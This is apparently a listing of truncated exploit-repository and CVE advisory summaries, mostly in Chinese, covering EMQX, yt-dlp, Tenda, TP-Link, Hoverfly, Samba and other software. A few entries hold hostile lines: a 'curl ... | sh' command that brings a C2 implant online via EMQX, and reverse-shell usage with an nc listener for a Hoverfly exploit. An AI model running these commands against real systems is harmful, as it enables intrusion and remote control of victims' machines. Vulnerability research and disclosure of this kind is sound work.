atril_cbt-inject-exploit

CVE-2023-44452、CVE-2023-51698：Linux Mint Xreader/MATE Atril CBT 文件解析参数注入远程代码执行漏洞 一个影响使用 MATE、Cinnamon 及部分 Xfce 桌面环境的流行 Linux 操作系统的严重一键 RCE/命令注入漏洞。 受影响的操作系统： Linux Mint Kali Linux（安全专业人员、研究人员中流行的操作系统） Parrot OS（安全专业人员、研究人员中流行的操作系统） Ubuntu-Mate Xubuntu Fedora Cinnamon Fedora Mate Manjaro Mate Manja...

CVE-2025-52136

CVE-2025-52136 https://github.com/ricardojoserf/emqx-RCE 原利用方式通过上传emqx插件，在插件模板的代码中添加Erlang os模块调用系统命令执行RCE 出网环境，环境默认存在curl，可以直接通过curl http://xx.xx.xx.xx/1.sh | sh上线C2 目标不出网时，由于EMQX本身即为MQTT消息服务器，因此可以直接配合插件上传，在EMQX服务器执行上传的可执行程序 使用EMQX做MQTT消息队列核心，部署的程序直接作为一个“系统命令代理”，订阅客户端发送的命令，再把执行结果发布回主题。 设计思路...

mcpjaminspector-unauth-rce

mcpjaminspector-unauth-rce CVE-2026-23744 MCPJam inspector = 1.4.2 中的 RCE 漏洞详情 https://github.com/MCPJam/inspector/security/advisories/GHSA-232v-j27c-5pp6 使用方法 usage: mcpjaminspector-unauth-rce.py -h --target TARGET --command COMMAND options: -h, --help show this help message and exit --target...

CVE-2026-26331

通过 yt-dlp 中的 --netrc-cmd 实现任意命令注入 严重性： 高（CVSS 8.8） 受影响软件： yt-dlp = 2023.06.21， 修复版本： 2026.02.21 安全公告： GHSA-g3gw-q23r-pgqm CVE： CVE-2026-26331 摘要 yt-dlp 的 --netrc-cmd 命令行选项（或 Python API 参数 netrccmd）在与恶意构造的 URL 结合使用时，可被滥用以实现任意命令执行。这允许攻击者在用户系统上执行任意 shell 命令。 详情 --netrc-cmd 选项允许用户执行 shell...

exploits

exploits 已发布的 PoC 可在 exploitdb.com 找到 患者预约排程系统 v1.0: Inbit 信使 v4.6.0:...

tenda-hg10-rce

CVE-2026-1689 摘要 Tenda HG10 路由器存在命令注入漏洞。该漏洞出现在 formLogin 端点中，原因是 Host 参数处理不当。 由于该漏洞在身份验证检查之前执行，因此无需验证任何认证凭据。 来自 Host 头的用户输入未经验证便直接作为命令执行： ifconfig br0 | grep 'inet6' | grep '' 使用方法 包含一个简单脚本（exploit.go），该脚本接受包含 IP:端口/URL 对的文件，用于批量利用。 发现 超过 10 万台设备处于活跃状态，其中超过 1.5 万台已经过测试并确认为易受攻击。 FOFA...

MAL-009

MAL-009: Encadenamiento Inseguro de las Opciones T y TT en Zip para Linux En Zip para Linux, la opción “-TT” puede utilizarse para ejecutar comandos arbitrarios del sistema. Debido a la naturaleza peligrosa de esta opción, debe usarse siempre al mismo tiempo que la opción “-T”. Mediante un ataque...

CVE-2026-26831

CVE-2026-26831：textract 中的操作系统命令注入 摘要 textract 2.5.0 及之前的所有版本允许通过提供给多个提取器的文件路径进行操作系统命令注入。多条代码路径在清理不充分的情况下将该文件路径传入 childprocess.exec。能够影响文件名或路径的攻击者可以逃逸出命令行并在主机上执行任意命令。 受影响产品 产品| 受影响版本| 修复版本 ---|---|--- textract| 2.5.0 及之前的所有版本| 截至 2026-03-24 尚无可用修复 漏洞详情 CVE ID：CVE-2026-26831 CWE：CWE-78 - 操作系统命令注入...

CVE-2025-54123

CVE-2025-54123 Hoverfly CVE RCE 用法 命令执行： python3 CVE-2025-54123.py -u $USER -p $PASS -t "http://example.com:8888" -c whoami 反向 Shell： nc -lvnp 443 python3 CVE-2025-54123.py -u $USER -p $PASS -t "http://example.com:8888" -r $IP 443 免责声明...

rsync security, bug fix, and enhancement update

An update is available for rsync. This update affects Rocky Linux 8. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity rating, is available for each vulnerability from the CVE list The rsync utility enables the users to copy and synchronize files locally or...

CVE-2026-102369

TP-Link Tapo C120 v1 and C200 V5 security cameras are vulnerable to unauthenticated remote code execution due to insufficient protection of login challenge data and a lack of input sanitization in the MacTool handler . An attacker on the same local network can replay login challenge data to gain ...

EUVD-2026-90983

Tapo C120 v1 and C200 V5 do not adequately protect login challenge data or sanitize attacker-controlled input processed by the MacTool handler. An unauthenticated attacker on the same local network can replay login challenge data to obtain an administrative session, enable a privileged service th...

CVE-2026-104018 VxWorks 7 improper privilege management

An improper privilege management vulnerability CWE-269 exists in the command shell of Wind River VxWorks 7 when configured to enforce per-user command privileges. Under certain shell operations, a command may be evaluated without the privilege check that is normally applied, allowing an...

EUVD-2026-90976

An improper privilege management vulnerability CWE-269 exists in the command shell of Wind River VxWorks 7 when configured to enforce per-user command privileges. Under certain shell operations, a command may be evaluated without the privilege check that is normally applied, allowing an...

CVE-2026-104018

An improper privilege management vulnerability (CWE-269 ) exists in the command shell of Wind River VxWorks 7 when configured to enforce per-user command privileges. Under certain shell operations, commands may be evaluated without the standard privilege check, enabling an authenticated user with...

CVE-2026-102294 Authenticated OS Command Injection in TL-WR841N IPv6 WAN Configuration

TP-Link TL-WR841N contains an authenticated OS command injection vulnerability in the IPv6 WAN configuration. A crafted IPv6 Gateway value is improperly incorporated into a system command, allowing an authenticated administrator to execute arbitrary operating system commands. Successful...

EUVD-2026-90974

TP-Link TL-WR841N contains an authenticated OS command injection vulnerability in the IPv6 WAN configuration. A crafted IPv6 Gateway value is improperly incorporated into a system command, allowing an authenticated administrator to execute arbitrary operating system commands. Successful...

CVE-2026-102294

The TP-Link TL-WR841N router is susceptible to an authenticated OS command injection vulnerability within the IPv6 WAN configuration . The root cause is the improper incorporation of a crafted IPv6 Gateway value into a system command. This allows an authenticated administrator to execute arbitrar...

CVE-2025-10230

CVE-2025-10230 CVE-2025-10230 的 PoC —— Samba WINS 钩子命令注入 此漏洞所需的配置可能影响 0 人。注入被限制为 15 个字符，且必须是有效的 WINS 名称，因此不能包含 ;...

telnetd_CVE-2026-24061_tester

Telnetd CVE-2026-24061 测试脚本 一个用于检测 telnetd 服务器是否容易受到通过 NEW-ENVIRON telnet 选项进行环境变量注入攻击的 Python 安全测试工具。 概述 该脚本用于测试 telnetd 服务器是否存在 CVE-2026-24061 漏洞，该漏洞允许攻击者通过 NEW-ENVIRON telnet 选项注入环境变量。如果服务器未正确处理这些环境变量，则可能容易受到命令注入或身份验证绕过攻击。 该脚本提供详细、彩色编码的输出，包含逐步进度、全面的错误处理以及最终摘要，其中包括测试结果、风险评估和影响分析。 CVE-2026-24061...